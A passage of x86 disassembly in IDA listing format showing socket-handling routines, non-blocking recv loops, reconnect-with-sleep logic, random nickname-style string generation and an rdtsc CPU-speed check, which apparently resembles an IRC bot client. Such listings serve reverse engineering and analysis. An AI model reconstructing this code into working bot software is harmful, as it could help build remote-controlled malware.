___:0041AC6Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AC32: ; CODE XREF: ___:0041AC26j mov eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+18h], 1 jle short loc_41AC9D mov edi, ebp loc_41AC4B: ; CODE XREF: ___:0041AC9Bj cmp edi, ebx jz short loc_41AC9D cmp [esp+18h], bl jz short loc_41AC9D call sub_40195B test al, al jz short loc_41AC9D mov ecx, [esp+10h] push ebx push 1 push edi call sub_401960 test al, al jz short loc_41AC28 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41AC7D cmp al, bl jnz short loc_41AC90 loc_41AC7D: ; CODE XREF: ___:0041AC77j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41AC8A mov [esi+ebp-1], bl jmp short loc_41AC8C ; --------------------------------------------------------------------------- loc_41AC8A: ; CODE XREF: ___:0041AC82j mov [edi], bl loc_41AC8C: ; CODE XREF: ___:0041AC88j mov [esp+18h], bl loc_41AC90: ; CODE XREF: ___:0041AC7Bj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41AC4B loc_41AC9D: ; CODE XREF: ___:0041AC47j ; ___:0041AC4Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41ACE0: ; CODE XREF: ___:00401082j push esi mov esi, ecx call sub_40195B test al, al jnz short loc_41ACF2 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41ACF2: ; CODE XREF: ___:0041ACEAj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_41AD03 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AD03: ; CODE XREF: ___:0041ACFBj mov ecx, [esp+0Ch] mov edx, [esp+8] push ecx push edx push eax nop call near ptr 71AB951Eh pop esi retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AD30 proc near ; CODE XREF: sub_401893j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx call sub_40195B test al, al jnz short loc_41AD42 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AD42: ; CODE XREF: sub_41AD30+Aj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_41AD53 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AD53: ; CODE XREF: sub_41AD30+1Bj mov ecx, [esp+4+arg_4] mov edx, [esp+4+arg_0] push ecx push edx push eax nop call near ptr 71AC0B50h pop esi retn 8 sub_41AD30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AD80: ; CODE XREF: ___:00401C3Fj sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx mov al, [esi+80Ch] cmp al, cl mov eax, [esi+806h] jnz short loc_41ADBF cmp eax, 0FFFFFFFFh jz short loc_41ADB5 cmp [esi+80Bh], cl jz short loc_41ADB5 mov eax, 1 pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41ADB5: ; CODE XREF: ___:0041AD9Ej ; ___:0041ADA6j xor eax, eax pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41ADBF: ; CODE XREF: ___:0041AD99j lea edx, [esp+4] mov [esp+10h], eax push edx lea edx, [esp+10h] push ecx push edx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx call near ptr 71AB2DC0h nop test eax, eax jnz short loc_41ADF5 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41ADF5: ; CODE XREF: ___:0041ADE9j mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AE50: ; CODE XREF: ___:004016E5j sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx cmp [esi+80Ch], cl jnz short loc_41AE6D xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AE6D: ; CODE XREF: ___:0041AE61j mov eax, [esi+806h] lea edx, [esp+4] push edx lea edx, [esp+10h] mov [esp+14h], eax push edx push ecx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx nop call near ptr 71AB2DC0h test eax, eax jnz short loc_41AEA9 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AEA9: ; CODE XREF: ___:0041AE9Dj mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AEF0: ; CODE XREF: ___:0040173Aj push esi mov esi, [esp+8] push edi mov edi, ecx push 800h lea edx, [esi+6] mov ax, [edi+4] lea ecx, [edi+6] push ecx push edx mov [esi+4], ax call near ptr 77C47A90h nop xor al, al add esp, 0Ch mov dword ptr [esi+806h], 0FFFFFFFFh mov [esi+80Ch], al mov [esi+80Bh], al mov al, [edi+80Dh] mov [esi+80Dh], al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AF60 proc near ; CODE XREF: sub_4018BBj arg_0 = dword ptr 4 mov al, byte ptr [esp+arg_0] test al, al mov [ecx+80Ch], al jz short loc_41AF90 mov ecx, [ecx+806h] lea eax, [esp+arg_0] push eax push 8004667Eh push ecx mov [esp+0Ch+arg_0], 1 nop call near ptr 71AB4519h retn 4 ; --------------------------------------------------------------------------- loc_41AF90: ; CODE XREF: sub_41AF60+Cj mov eax, [ecx+806h] lea edx, [esp+arg_0] push edx push 8004667Eh push eax mov [esp+0Ch+arg_0], 0 nop call near ptr 71AB4519h retn 4 sub_41AF60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AFE0 proc near ; CODE XREF: sub_401186j push esi mov esi, ecx push 0 lea ecx, [esi+4] call sub_401C35 mov dword ptr [esi], offset off_43E0C0 mov eax, esi pop esi retn sub_41AFE0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B010 proc near ; CODE XREF: ___:00401915j sub_401E74j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40186B test [esp+4+arg_0], 1 jz short loc_41B028 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_41B028: ; CODE XREF: sub_41B010+Dj mov eax, esi pop esi retn 4 sub_41B010 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B040 proc near ; CODE XREF: sub_40186Bj mov dword ptr [ecx], offset off_43E0C0 add ecx, 4 jmp sub_401FC8 sub_41B040 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B060 proc near ; CODE XREF: sub_401636j arg_0 = dword ptr 4 push esi push edi call sub_40195B test al, al jnz short loc_41B072 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_41B072: ; CODE XREF: sub_41B060+9j mov esi, [esp+8+arg_0] push esi nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_41B0C5 push esi nop call near ptr 71AB4FD4h mov edi, eax test edi, edi jnz short loc_41B097 pop edi or eax, 0FFFFFFFFh pop esi retn 4 ; --------------------------------------------------------------------------- loc_41B097: ; CODE XREF: sub_41B060+2Dj mov eax, [edi+0Ch] xor esi, esi cmp dword ptr [eax], 0 jz short loc_41B0AC loc_41B0A1: ; CODE XREF: sub_41B060+4Aj mov ecx, [eax+4] add eax, 4 inc esi test ecx, ecx jnz short loc_41B0A1 loc_41B0AC: ; CODE XREF: sub_41B060+3Fj call sub_401EEC dec esi push esi push 0 call sub_4021A3 ; --------------------------------------------------------------------------- mov ecx, [edi+0Ch] add esp, 8 mov edx, [ecx+eax*4] mov eax, [edx] loc_41B0C5: ; CODE XREF: sub_41B060+20j pop edi pop esi retn 4 sub_41B060 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B0F0: ; CODE XREF: ___:00402095j push 0FFFFFFFFh push offset loc_43AD07 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push esi xor ebx, ebx push edi mov [esp+0Ch], ebx call sub_40195B test al, al jnz short loc_41B12F mov eax, [esp+58h] mov esi, [esp+54h] push eax mov ecx, esi call sub_401861 jmp loc_41B2DB ; --------------------------------------------------------------------------- loc_41B12F: ; CODE XREF: ___:0041B118j mov ecx, [esp+58h] push ecx lea ecx, [esp+30h] call sub_401861 mov edi, 1 lea ecx, [esp+2Ch] mov [esp+4Ch], edi call sub_4017E4 test eax, eax push offset byte_446F60 jnz short loc_41B16C mov esi, [esp+58h] mov ecx, esi call sub_401861 mov [esp+0Ch], edi jmp loc_41B2CE ; --------------------------------------------------------------------------- loc_41B16C: ; CODE XREF: ___:0041B156j lea ecx, [esp+30h] call sub_4012EE test eax, eax push offset byte_446F60 jnz short loc_41B192 mov esi, [esp+58h] mov ecx, esi call sub_401861 mov [esp+0Ch], edi jmp loc_41B2CE ; --------------------------------------------------------------------------- loc_41B192: ; CODE XREF: ___:0041B17Cj lea ecx, [esp+18h] call sub_401861 lea edx, [esp+10h] push ebx push edx push ebx push ebx push 0Fh lea ecx, [esp+40h] mov byte ptr [esp+60h], 2 call sub_4017E4 push eax call sub_436FC6 ; --------------------------------------------------------------------------- cmp eax, ebx jz short loc_41B1D6 mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_4014C9 mov [esp+0Ch], edi jmp loc_41B2C0 ; --------------------------------------------------------------------------- loc_41B1D6: ; CODE XREF: ___:0041B1BBj mov edi, [esp+10h] mov esi, offset dword_443DC4 mov ecx, [edi] mov eax, [ecx+4] loc_41B1E4: ; CODE XREF: ___:0041B202j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41B208 cmp cl, bl jz short loc_41B204 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41B208 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_41B1E4 loc_41B204: ; CODE XREF: ___:0041B1EEj xor eax, eax jmp short loc_41B20D ; --------------------------------------------------------------------------- loc_41B208: ; CODE XREF: ___:0041B1EAj ; ___:0041B1F8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41B20D: ; CODE XREF: ___:0041B206j cmp eax, ebx jz short loc_41B27B push ebp loc_41B212: ; CODE XREF: ___:0041B265j ; ___:0041B269j call near ptr 2960743h nop and eax, 0Fh cmp al, 8 jnz short loc_41B226 cmp word ptr [edi+8], 0Fh jz short loc_41B26B loc_41B226: ; CODE XREF: ___:0041B21Dj mov edi, [edi] mov ebp, [esp+14h] cmp edi, ebx jnz short loc_41B232 mov edi, ebp loc_41B232: ; CODE XREF: ___:0041B22Ej mov eax, [edi+4] mov esi, offset dword_443DC4 loc_41B23A: ; CODE XREF: ___:0041B258j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41B25E cmp cl, bl jz short loc_41B25A mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41B25E add eax, 2 add esi, 2 cmp cl, bl jnz short loc_41B23A loc_41B25A: ; CODE XREF: ___:0041B244j xor eax, eax jmp short loc_41B263 ; --------------------------------------------------------------------------- loc_41B25E: ; CODE XREF: ___:0041B240j ; ___:0041B24Ej sbb eax, eax sbb eax, 0FFFFFFFFh loc_41B263: ; CODE XREF: ___:0041B25Cj cmp eax, ebx jnz short loc_41B212 mov edi, ebp jmp short loc_41B212 ; --------------------------------------------------------------------------- loc_41B26B: ; CODE XREF: ___:0041B224j mov eax, [edi+18h] lea ecx, [esp+18h] push eax call sub_4015D7 pop ebp jmp short loc_41B288 ; --------------------------------------------------------------------------- loc_41B27B: ; CODE XREF: ___:0041B20Fj mov ecx, [edi+18h] push ecx lea ecx, [esp+18h] call sub_4015D7 loc_41B288: ; CODE XREF: ___:0041B279j push offset byte_446F60 lea ecx, [esp+18h] call sub_4012EE test eax, eax jnz short loc_41B2A8 mov edx, [esp+58h] lea ecx, [esp+14h] push edx call sub_4015D7 loc_41B2A8: ; CODE XREF: ___:0041B298j mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_4014C9 mov dword ptr [esp+0Ch], 1 loc_41B2C0: ; CODE XREF: ___:0041B1D1j lea ecx, [esp+14h] mov byte ptr [esp+4Ch], 1 call sub_401226 loc_41B2CE: ; CODE XREF: ___:0041B167j ; ___:0041B18Dj lea ecx, [esp+2Ch] mov [esp+4Ch], bl call sub_401226 loc_41B2DB: ; CODE XREF: ___:0041B12Aj mov ecx, [esp+44h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 44h retn 8 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B390: ; CODE XREF: ___:00402135j push esi mov esi, ecx call sub_401E6A push 0 lea ecx, [esi+15h] call sub_401C35 mov dword ptr [esi], offset off_43E0C4 mov dword ptr [esi+11h], 0 mov dword ptr [esi+823h], 0 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B3D0 proc near ; CODE XREF: sub_4013FCj ___:00402018j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401BCC test [esp+4+arg_0], 1 jz short loc_41B3E8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_41B3E8: ; CODE XREF: sub_41B3D0+Dj mov eax, esi pop esi retn 4 sub_41B3D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B400 proc near ; CODE XREF: sub_401BCCj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41B400 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401FC8 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41B400 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B470: ; CODE XREF: ___:00401D3Ej push esi mov esi, ecx call sub_401E6A push 0 lea ecx, [esi+15h] call sub_401C35 mov eax, [esp+8] mov ecx, [esp+0Ch] mov [esi+11h], eax mov dword ptr [esi], offset off_43E0C4 mov [esi+823h], ecx mov eax, esi pop esi retn 8 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B4B0 proc near ; CODE XREF: sub_40167Cj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 14h push edi mov edi, ecx mov eax, [edi+11h] test eax, eax jz loc_41B5C0 mov ecx, [edi+823h] test ecx, ecx jz loc_41B5C0 push ebx push ebp lea ebx, [edi+15h] push esi push eax mov ecx, ebx xor esi, esi call sub_401488 mov ebp, dword_50F8D0 test al, al jnz short loc_41B513 loc_41B4E9: ; CODE XREF: sub_41B4B0+61j mov al, [edi+10h] test al, al jz loc_41B5AF mov al, byte_4E6E74 test al, al jz short loc_41B513 push 7D0h call ebp mov eax, [edi+11h] mov ecx, ebx push eax call sub_401488 test al, al jz short loc_41B4E9 loc_41B513: ; CODE XREF: sub_41B4B0+37j ; sub_41B4B0+4Bj mov al, [edi+10h] test al, al jz loc_41B5AF loc_41B51E: ; CODE XREF: sub_41B4B0+F9j mov al, byte_4E6E74 test al, al jz loc_41B5AF test esi, esi jnz short loc_41B54E push 80Eh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_41B54A push esi mov ecx, eax call sub_401C35 jmp short loc_41B54C ; --------------------------------------------------------------------------- loc_41B54A: ; CODE XREF: sub_41B4B0+8Ej xor eax, eax loc_41B54C: ; CODE XREF: sub_41B4B0+98j mov esi, eax loc_41B54E: ; CODE XREF: sub_41B4B0+7Dj push 0 push 0 push esi mov ecx, ebx call sub_401B81 test al, al jnz short loc_41B567 push 7D0h call ebp jmp short loc_41B5A4 ; --------------------------------------------------------------------------- loc_41B567: ; CODE XREF: sub_41B4B0+ACj xor ecx, ecx lea edx, [esp+24h+var_14] mov [esp+24h+var_10], ecx lea eax, [esp+24h+var_10] mov [esp+24h+var_C], ecx push edx mov [esp+28h+var_8], ecx push eax mov [esp+2Ch+var_4], ecx mov ecx, esi mov [esp+2Ch+var_14], 10h call sub_401893 mov al, byte ptr [esp+24h+var_C] test al, al jz short loc_41B5A4 push esi call dword ptr [edi+823h] add esp, 4 loc_41B5A4: ; CODE XREF: sub_41B4B0+B5j ; sub_41B4B0+E8j mov al, [edi+10h] test al, al jnz loc_41B51E loc_41B5AF: ; CODE XREF: sub_41B4B0+3Ej ; sub_41B4B0+68j ... mov ecx, ebx call sub_4014DD pop esi pop ebp pop ebx xor eax, eax pop edi add esp, 14h retn ; --------------------------------------------------------------------------- loc_41B5C0: ; CODE XREF: sub_41B4B0+Bj ; sub_41B4B0+19j xor eax, eax pop edi add esp, 14h retn sub_41B4B0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B620: ; CODE XREF: ___:00401C21j mov eax, [esp+0Ch] push ebx push ebp mov ebp, [esp+10h] push esi push edi xor ebx, ebx xor edi, edi dec eax mov [ebp+0], bl cmp eax, ebx mov byte ptr [esp+18h], 1 jle short loc_41B695 mov esi, ebp loc_41B63F: ; CODE XREF: ___:0041B693j cmp esi, ebx jz short loc_41B695 cmp [esp+18h], bl jz short loc_41B695 mov ecx, [esp+14h] push ebx push 1 push esi push ecx nop call near ptr 71AB615Ah cmp eax, ebx jz short loc_41B6A4 cmp eax, 0FFFFFFFFh jz short loc_41B6A4 nop call near ptr 71AB94DCh cmp eax, 2733h jz short loc_41B69D mov [edi+ebp+1], bl mov al, [esi] cmp al, 0Ah jz short loc_41B680 cmp al, 0Dh jz short loc_41B680 cmp al, bl jnz short loc_41B688 loc_41B680: ; CODE XREF: ___:0041B676j ; ___:0041B67Aj mov [edi+ebp-1], bl mov [esp+18h], bl loc_41B688: ; CODE XREF: ___:0041B67Ej mov edx, [esp+1Ch] inc edi inc esi lea eax, [edx-1] cmp edi, eax jl short loc_41B63F loc_41B695: ; CODE XREF: ___:0041B63Bj ; ___:0041B641j ... mov eax, [esp+1Ch] mov [eax+ebp-1], bl loc_41B69D: ; CODE XREF: ___:0041B66Cj pop edi pop esi pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41B6A4: ; CODE XREF: ___:0041B65Aj ; ___:0041B65Fj pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B6E0 proc near ; CODE XREF: sub_401280j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] push ebx push ebp mov ebp, [esp+8+arg_4] push esi xor ebx, ebx xor esi, esi dec eax cmp eax, ebx push edi mov [ebp+0], bl mov byte ptr [esp+10h+arg_4], 1 jle short loc_41B74A mov edi, ebp loc_41B6FF: ; CODE XREF: sub_41B6E0+68j cmp edi, ebx jz short loc_41B74A cmp byte ptr [esp+10h+arg_4], bl jz short loc_41B74A mov ecx, [esp+10h+arg_0] push ebx push 1 push edi push ecx nop call near ptr 71AB615Ah test eax, eax jz short loc_41B759 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41B72A cmp al, bl jnz short loc_41B73D loc_41B72A: ; CODE XREF: sub_41B6E0+44j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41B737 mov [esi+ebp-1], bl jmp short loc_41B739 ; --------------------------------------------------------------------------- loc_41B737: ; CODE XREF: sub_41B6E0+4Fj mov [edi], bl loc_41B739: ; CODE XREF: sub_41B6E0+55j mov byte ptr [esp+10h+arg_4], bl loc_41B73D: ; CODE XREF: sub_41B6E0+48j mov edx, [esp+10h+arg_8] inc esi inc edi lea eax, [edx-1] cmp esi, eax jl short loc_41B6FF loc_41B74A: ; CODE XREF: sub_41B6E0+1Bj ; sub_41B6E0+21j ... mov eax, [esp+10h+arg_8] pop edi pop esi mov [eax+ebp-1], bl pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41B759: ; CODE XREF: sub_41B6E0+3Aj pop edi pop esi pop ebp xor al, al pop ebx retn sub_41B6E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B780: ; CODE XREF: ___:00401ADCj push ebx mov ebx, [esp+8] push ebp mov ebp, [esp+10h] mov ecx, ebp push esi mov edx, ecx push edi xor eax, eax mov edi, ebx shr ecx, 2 rep stosd mov ecx, edx xor esi, esi and ecx, 3 test ebp, ebp rep stosb jle short loc_41B7DB loc_41B7A6: ; CODE XREF: ___:0041B7D9j push 3 push 1 call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 dec eax jz short loc_41B7C7 dec eax jz short loc_41B7C1 dec eax jnz short loc_41B7D6 push 7Ah push 61h jmp short loc_41B7CB ; --------------------------------------------------------------------------- loc_41B7C1: ; CODE XREF: ___:0041B7B6j push 5Ah push 41h jmp short loc_41B7CB ; --------------------------------------------------------------------------- loc_41B7C7: ; CODE XREF: ___:0041B7B3j push 39h push 30h loc_41B7CB: ; CODE XREF: ___:0041B7BFj ; ___:0041B7C5j call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 mov [esi+ebx], al loc_41B7D6: ; CODE XREF: ___:0041B7B9j inc esi cmp esi, ebp jl short loc_41B7A6 loc_41B7DB: ; CODE XREF: ___:0041B7A4j pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B800 proc near ; CODE XREF: sub_40141Aj rdtsc retn sub_41B800 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B820 proc near ; CODE XREF: sub_4017F3j var_4 = dword ptr -4 sub esp, 8 push ebx mov ebx, dword_50F8D0 push ebp push esi push edi xor ebp, ebp loc_41B82F: ; CODE XREF: sub_41B820+43j ; sub_41B820+4Dj call sub_40141A push 3E8h mov esi, eax mov edi, edx call ebx call sub_40141A sub eax, esi push ebp sbb edx, edi push 186A0h push edx push eax call sub_436970 push ebp push 0Ah push edx push eax call sub_436970 cmp edx, ebp mov esi, eax ja short loc_41B82F jb short loc_41B86F cmp esi, 0F4240h ja short loc_41B82F loc_41B86F: ; CODE XREF: sub_41B820+45j push ebp push 64h push edx push esi call sub_4368F0 mov ecx, eax cmp edx, ebp mov eax, 64h mov [esp+18h+var_4], ebp ja short loc_41B8F9 jb short loc_41B88F cmp ecx, 50h jnb short loc_41B898 loc_41B88F: ; CODE XREF: sub_41B820+68j mov eax, 4Bh mov [esp+18h+var_4], ebp loc_41B898: ; CODE XREF: sub_41B820+6Dj cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8A3 cmp ecx, 47h jnb short loc_41B8AC loc_41B8A3: ; CODE XREF: sub_41B820+7Cj mov eax, 42h mov [esp+18h+var_4], ebp loc_41B8AC: ; CODE XREF: sub_41B820+81j cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8B7 cmp ecx, 37h jnb short loc_41B8C0 loc_41B8B7: ; CODE XREF: sub_41B820+90j mov eax, 32h mov [esp+18h+var_4], ebp loc_41B8C0: ; CODE XREF: sub_41B820+95j cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8CB cmp ecx, 26h jnb short loc_41B8D4 loc_41B8CB: ; CODE XREF: sub_41B820+A4j mov eax, 21h mov [esp+18h+var_4], ebp loc_41B8D4: ; CODE XREF: sub_41B820+A9j cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8DF cmp ecx, 1Eh jnb short loc_41B8E8 loc_41B8DF: ; CODE XREF: sub_41B820+B8j mov eax, 19h mov [esp+18h+var_4], ebp loc_41B8E8: ; CODE XREF: sub_41B820+BDj cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8F3 cmp ecx, 0Ah jnb short loc_41B8F9 loc_41B8F3: ; CODE XREF: sub_41B820+CCj xor eax, eax mov [esp+18h+var_4], ebp loc_41B8F9: ; CODE XREF: sub_41B820+66j ; sub_41B820+7Aj ... sub eax, ecx pop edi add eax, esi pop esi pop ebp pop ebx add esp, 8 retn sub_41B820 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B950 proc near ; CODE XREF: sub_402022j var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_41B950 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h mov al, byte_447759 push ebx push esi push edi test al, al mov [esp+4Ch+var_40], 0 jz loc_41BAAF push ebp lea ecx, [esp+50h+var_3C] call sub_401424 push 400h lea ecx, [esp+54h+var_3C] mov [esp+54h+var_4], 1 xor bl, bl call sub_401C5D mov ebp, eax call sub_401EEC lea ecx, [esp+50h+var_3C] call sub_4013D9 mov [esp+50h+arg_4], eax lea eax, [esp+50h+arg_4] push eax push ebp nop call near ptr 29810A1h test eax, eax jnz short loc_41B9E6 mov edi, offset byte_446F60 or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb loc_41B9E6: ; CODE XREF: sub_41B950+74j movsx ecx, byte ptr [ebp+0] mov eax, 41h loc_41B9EF: ; CODE XREF: sub_41B950+A9j cmp ecx, eax jnz short loc_41B9F5 mov bl, 1 loc_41B9F5: ; CODE XREF: sub_41B950+A1j inc eax cmp eax, 5Bh jl short loc_41B9EF mov eax, 61h loc_41BA00: ; CODE XREF: sub_41B950+BAj cmp ecx, eax jnz short loc_41BA06 mov bl, 1 loc_41BA06: ; CODE XREF: sub_41B950+B2j inc eax cmp eax, 7Bh jl short loc_41BA00 test bl, bl jnz short loc_41BA32 mov edi, offset byte_446F60 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_41BA32: ; CODE XREF: sub_41B950+BEj mov esi, dword_50FABC call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 mov esi, [esp+50h+arg_0] lea edx, [esp+50h+var_3C] push edx mov ecx, esi call sub_4014C9 mov [esp+50h+var_40], 1 lea ecx, [esp+50h+var_3C] mov byte ptr [esp+50h+var_4], 0 call sub_401226 pop ebp mov eax, esi pop edi pop esi pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn ; --------------------------------------------------------------------------- loc_41BAAF: ; CODE XREF: sub_41B950+2Aj lea ecx, [esp+4Ch+var_24] call sub_401424 mov ebx, 2 mov [esp+4Ch+var_4], ebx nop call near ptr 2960743h push eax nop call near ptr 77C371BCh mov edi, dword_50FABC add esp, 4 call edi ; rand cdq mov ecx, 3 idiv ecx lea ecx, [esp+4Ch+var_24] mov esi, edx mov edx, [esp+4Ch+arg_4] push edx add esi, 6 call sub_4015D7 test esi, esi jle short loc_41BB4E loc_41BAF8: ; CODE XREF: sub_41B950+1FCj lea ecx, [esp+4Ch+var_3C] call sub_401424 lea eax, [esp+4Ch+var_24] lea ecx, [esp+4Ch+var_3C] push eax mov byte ptr [esp+50h+var_4], 3 call sub_401FBE call edi ; rand cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+4Ch+var_3C] add edx, 61h push edx call sub_4017E4 push eax lea edx, [esp+54h+var_24] push offset dword_443E74 push edx call sub_40102D add esp, 10h lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], bl call sub_401226 dec esi jnz short loc_41BAF8 loc_41BB4E: ; CODE XREF: sub_41B950+1A6j mov esi, [esp+4Ch+arg_0] lea eax, [esp+4Ch+var_24] push eax mov ecx, esi call sub_4014C9 lea ecx, [esp+4Ch+var_24] mov [esp+4Ch+var_40], 1 mov byte ptr [esp+4Ch+var_4], 0 